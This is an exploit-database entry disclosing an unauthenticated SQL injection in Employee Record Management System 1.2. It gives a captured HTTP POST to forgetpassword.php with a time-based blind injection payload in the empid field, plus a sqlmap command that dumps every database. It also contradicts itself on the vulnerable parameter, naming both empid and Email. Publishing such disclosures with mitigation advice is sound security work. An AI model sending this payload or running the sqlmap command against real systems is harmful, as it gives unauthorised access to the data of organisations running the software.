Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)

vendor:

Employee Record Management System in PHP and MySQL

by:

Anubhav Singh

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Employee Record Management System in PHP and MySQL

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: NO

Related CWE:

CPE: a:phpgurukul:employee_record_management_system_in_php_and_mysql

Metasploit:

Other Scripts:

Platforms Tested: Windows 10, XAMPP

2021

Employee Record Management System 1.2 – ’empid’ SQL injection (Unauthenticated)

An unauthenticated attacker can exploit a SQL injection vulnerability in Employee Record Management System 1.2 by sending a malicious request to the forgetpassword.php page. The vulnerable parameter is the 'Email' field, which can be used to inject a malicious payload. By sending the payload to the sqlmap tool, an attacker can retrieve all databases from the system.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.

Source

Exploit-DB raw data:

# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
# Exploit Author: Anubhav Singh 
# Date: 2021-10-31
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Version: 1.2
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameter: Email

Steps to Reproduce:

1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.
2) Create a txt file and paste this request.

Request:
=======
POST /employee_record/erms/forgetpassword.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_record/erms/forgetpassword.php
Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Email=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset

-----------------------------------------------------------------------------------------------------------------

3) Send this request to sqlmap
4) command : python sqlmap.py -r request.txt -p Email --dbs
5) We can retrieve all databases using above sqlmap command